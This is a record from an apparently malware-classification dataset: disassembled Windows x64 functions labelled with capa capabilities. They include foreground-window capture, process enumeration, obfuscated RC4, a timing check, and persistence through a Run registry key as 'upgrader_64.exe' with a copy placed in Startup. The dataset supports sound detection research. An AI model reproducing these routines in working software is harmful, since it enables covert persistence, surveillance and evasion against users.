joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a4b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a4f5
xor al, al
jmp 0x14000a542
cmp word [rbx], 0
je 0x14000a50d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a500
cmp word [rsp + 0x30], 0
je 0x14000a53b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a563
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a520
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b7b0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f884
int3
Function at 0x14000ad00
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001fa30
sub rsp, rax
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fd94]
lea rsi, [0x140034dd0]
mov rdi, rcx
test r11d, r11d
jne 0x14000ad79
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a570
test al, al
je 0x14000ae5f
lea rcx, [rsp + 0x20]
call fcn.140013f80
movsxd r11, dword [0x14002fd94]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fd94], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000adb4
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ada4
add rax, 2
test ecx, ecx
jne 0x14000ad90
test edx, edx
je 0x14000add7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad84
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000adc0
cmp rax, 2
jne 0x14000addb
cmp word [rdi + 2], 0x3a
jne 0x14000addb
mov al, 1
jmp 0x14000ae3e
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ae08
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000ae08
mov bl, 1
jmp 0x14000ae0c
test bl, bl
je 0x14000ae33
cmp dword [0x14002fd94], 0x400
jge 0x14000ae33
mov rcx, rdi
call fcn.140013f80
movsxd rdx, dword [0x14002fd94]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fd94], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b7b0
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000aba0
int3
Function at 0x14001b4b4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b4ca
mov al, 1
jmp 0x14001b52a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b4db
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b528
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019608
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b528
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b528
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b528
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b52a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f940
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f968
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f968
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x180001140
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
sub rsp, 0x30
mov qword [rsp + 8], rcx
lea rax, [rcx + 0x100]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx r10d, byte [rax]
add rcx, 0x101
mov qword [rsp + 0x28], rcx
mov rax, qword [rsp + 0x28]
movzx r11d, byte [rax]
mov r9d, 0x3acf973e
jmp 0x1800011ee
mov eax, dword [rsp + 4]
add eax, 1
movzx r10d, al
mov rax, qword [rsp + 8]
movzx ecx, byte [rax + r10]
mov edx, dword [rsp]
add edx, ecx
movzx r11d, dl
mov rdx, qword [rsp + 8]
movzx esi, byte [rdx + r11]
mov byte [rax + r10], sil
mov byte [rdx + r11], cl
add esi, ecx
mov eax, esi
xor eax, 0x100
and eax, esi
mov rcx, qword [rsp + 8]
mov al, byte [rcx + rax]
mov rdx, qword [rsp + 0x10]
add rdx, 1
mov rcx, qword [rsp + 0x10]
mov r8b, byte [rcx]
mov ecx, r8d
not cl
and cl, al
not al
and al, r8b
or al, cl
mov rcx, qword [rsp + 0x10]
mov byte [rcx], al
mov r8d, dword [rsp + 0x1c]
lea esi, [r8 - 1]
test r8d, r8d
mov eax, 0x9541ee27
cmove eax, r9d
mov ecx, 0xf9ff17d1
jmp 0x180001220
mov qword [rsp + 0x10], rdx
mov dword [rsp], r11d
mov dword [rsp + 4], r10d
mov dword [rsp + 0x1c], esi
mov ecx, eax
nop dword [rax]
cmp ecx, 0x9541ee27
je 0x180001180
cmp ecx, 0x3acf973e
je 0x18000123e
cmp ecx, 0xf9ff17d1
jne 0x180001220
jmp 0x180001205
mov eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov byte [rcx], al
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x28]
mov byte [rcx], al
add rsp, 0x30
pop rsi
ret
Function at 0x14000202c
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140002052
mov r8d, 0x104
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
add rsp, 0x20
pop rbx
ret

Function at 0x140002224
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
and dword [rsp + 0x20], 0
mov rdi, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
call fcn.1400537d0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400022b7
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400022aa
lea rax, [rsp + 0x4c]
mov rdx, rdi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140002298
add rax, 2
test r8d, r8d
jne 0x140002282
test ecx, ecx
mov rcx, rbx
je 0x1400022ca
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002277
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x1400022b9

Function at 0x140002bb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
sub rsp, 0x250
mov rdi, r8
mov r12, rdx
mov rsi, rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x40]
call fcn.1400537d0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rsi, 0xffffffff80000001
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002c1d
or ebx, 0xffffffff
jmp 0x140002c8f
cmp dword [rsp + 0x30], ebx
jbe 0x140002c8f
cmp dword [rsp + 0x30], 2
ja 0x140002c8f
mov dword [rsp + 0x278], 0x208
lea rax, [rsp + 0x278]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002c8f
lea rdx, [0x1400967bc]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140002c18
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r12
ret

Function at 0x14000456c
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
xor eax, eax
mov rbx, rcx
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov byte [rcx + 0x68], al
mov qword [rcx + 0x10], rax
call fcn.14000470c
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x140005c0c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r13
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
cmp qword [rcx + 0x80], 0
je 0x140005d9d
cmp byte [rcx + 0x89], 0
je 0x140005d9d
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x140005c5d
xor al, al
jmp 0x140005d9f
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea r13d, [rdx - 7]
cmp r13b, 0xfe
jbe 0x140005c86
lea rcx, str.string_too_long
call fcn.140079f04
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rbx + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x140005ceb
dec eax
jne 0x140005d62
jmp 0x140005cf2
mov byte [rbx + 0x89], 0
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp + 0x20]
sub rdi, rax
je 0x140005d3c
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x98]
mov r8, rdi
mov edx, 1
call fcn.140050b14
cmp rdi, rax
jne 0x140005d76
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
cmp byte [rbx + 0x89], 0
je 0x140005d8f
test rdi, rdi
jne 0x140005ca7
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.14000521c
jmp 0x140005c9f
sub eax, 2
je 0x140005d69
jmp 0x140005d76
cmp qword [rbp - 0x10], 0x10
jb 0x140005d9d
mov rcx, qword [rbp - 0x28]
jmp 0x140005d98
cmp qword [rbp - 0x10], 0x10
jb 0x140005c56
mov rcx, qword [rbp - 0x28]
call fcn.14004fa30
jmp 0x140005c56
cmp r10, 0x10
jb 0x140005d9d
mov rcx, r9
call fcn.14004fa30
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret
Function at 0x1400067a8
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [r12 + 0x138]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rbx
mov edx, 0xff
call fcn.14005061c
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.14004fa50
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
xor ebx, ebx
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
xor r9d, r9d
movzx r8d, si
mov rdx, rbp
mov word [rsp + 0x28], bx
mov qword [rsp + 0x20], rbx
call qword [rax]
test eax, eax
je 0x1400068bc
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [r12 + 0x140]
sub rax, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x1400977a0]
mov al, 1
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
jmp 0x1400068be
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop r12
pop rdi
ret
Function at 0x140007110
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ebx, dword [0x1400c0454]
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call fcn.140008f9c
and dword [rbp + 0x230], 0
lea r11, vtable.CKernelManager.0
lea r8, [0x1400c06a0]
lea rcx, [0x1400c10c0]
mov edx, 0x208
mov qword [rbp], r11
call fcn.14005061c
lea r8, [0x1400c0460]
lea rcx, [0x1400c14d0]
mov edx, 0x208
call fcn.14005061c
and dword [rbp + 0x238], 0
and dword [rbp + 0x234], 0
lea rcx, [0x1400964b0]
mov dword [0x1400bdff8], edi
mov dword [0x1400be000], ebx
mov qword [rbp + 0x228], rsi
mov qword [0x1400c0448], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rbp + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, [0x1400964d0]
mov qword [rbp + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rbp + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, [0x1400964f0]
mov qword [rbp + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, [0x140096500]
mov qword [rbp + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, [0x140096520]
mov qword [rbp + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rbp + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rbp + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x240]
lea rdx, [0x140096550]
mov qword [rbp + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov qword [rbp + 0x280], rax
mov rax, rbp
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400078a4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r13, rcx
mov ecx, 0x7532
call fcn.14004fec0
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov rbp, rax
call fcn.1400537d0
xor edx, edx
mov byte [rbp], 2
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x14000790e
lea rbx, [rbp + 2]
lea r8, [0x1400965b0]
mov edx, 0x36b0
mov rcx, rbx
call fcn.140050048
jmp 0x14000796f
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x14000792c
lea rdx, [rbp + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [rbp + 2]
lea rdi, [0x1400964cc]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
jne 0x140007958
lea r8, [0x1400965c0]
mov edx, 0x3a98
mov rcx, rbx
call fcn.140050048
lea r8, [0x140096514]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.140050048
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r13 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, rbp
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.14004fa30

Function at 0x1400079b4
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rax - 0x508]
sub rsp, 0x5f0
mov rbx, rcx
mov r12d, r8d
lea rcx, [rsp + 0x40]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.14004fa50
lea rcx, [rbp + 0x222]
xor r13d, r13d
xor edx, edx
mov r8d, 0x2ce
mov word [rbp + 0x220], r13w
call fcn.1400537d0
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x150]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007a49
xor eax, eax
jmp 0x140007ae3
lea r8d, [r12 - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rbp + 0x518]
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007a42
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x220]
test eax, eax
je 0x140007aab
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x150]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140007ab8
lea rdx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x140007ac9
dec eax
jne 0x140007ade
xor r8d, r8d
jmp 0x140007acf
mov r8d, 5
lea rdx, [rbp + 0x220]
mov rcx, rbx
call fcn.140007b00
mov eax, 1
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x140007b00
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r15
lea rbp, [rax - 0xa18]
sub rsp, 0xb00
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.1400537d0
mov edx, 0x2e
mov rcx, rdi
call fcn.14005112c
xor r13d, r13d
mov rbx, rax
test rax, rax
jne 0x140007b5f
xor al, al
jmp 0x140007d50
lea rcx, [rbp + 0x1f2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.1400537d0
mov r15d, 0x20
mov edx, r15d
mov rcx, rbx
call fcn.14005112c
mov rcx, rbx
test rax, rax
je 0x140007bb6
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x140007bd3
cmp word [rbx + rcx*2], r15w
je 0x140007bbc
dec rcx
dec eax
test rcx, rcx
jg 0x140007ba3
jmp 0x140007bd3
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.140051158
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.140007d74
test eax, eax
je 0x140007b58
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.1400537d0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.1400537d0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.1400537d0
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.140007d74
test eax, eax
je 0x140007b58
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x140096610]
lea rcx, [rbp - 0x20]
call fcn.1400505b8
test rax, rax
jne 0x140007cd2
lea rdx, [0x140096618]
lea rcx, [rbp - 0x20]
call fcn.1400505b8
test rax, rax
jne 0x140007cd2
lea rdx, [0x14009651c]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140007cde
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.1400537d0
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x140007d09
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x140007d15
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
lea r11, [rsp + 0xb00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop rbp
ret
Function at 0x140008014
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x560]
sub rsp, 0x660
xor ebx, ebx
mov rsi, rcx
test edx, edx
je 0x1400081df
dec edx
jne 0x14000823a
lea rcx, [0x1400966b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x1400966d8]
mov rcx, rax
mov qword [rsi + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x1400966f8]
mov qword [rsi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140096708]
mov qword [rsi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140096718]
mov qword [rsi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x280], rax
cmp qword [rsi + 0x250], rbx
je 0x14000823a
mov r10, qword [rsi + 0x268]
test r10, r10
je 0x14000823a
cmp qword [rsi + 0x288], rbx
je 0x14000823a
test rax, rax
je 0x14000823a
lea rax, [rbp + 0x590]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call r10
test eax, eax
jne 0x14000823a
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x590]
lea edi, [rbx + 1]
lea eax, [rax + rax + 2]
lea rdx, str.upgrader_64.exe
mov r9d, edi
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [rsi + 0x288]
test eax, eax
jne 0x1400081c9
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.1400537d0
mov rcx, qword [rbp + 0x590]
lea rax, [rbp + 0x588]
lea rdx, str.upgrader_64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x588], 0x208
call qword [rsi + 0x250]
test eax, eax
je 0x1400081cb
mov edi, ebx
mov rcx, qword [rbp + 0x590]
call qword [rsi + 0x280]
mov eax, edi
jmp 0x1400082a8
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.1400537d0
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bx
call fcn.1400537d0
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x290], rax
test rax, rax
jne 0x14000823e
xor eax, eax
jmp 0x1400082a8
mov r9d, 1
lea rdx, [rbp + 0x140]
xor ecx, ecx
lea r8d, [r9 + 6]
call rax
test eax, eax
je 0x14000823a
lea rdx, [rbp + 0x350]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rbp + 0x140]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x680]
add rsp, 0x660
pop rdi
pop rsi
pop rbp
ret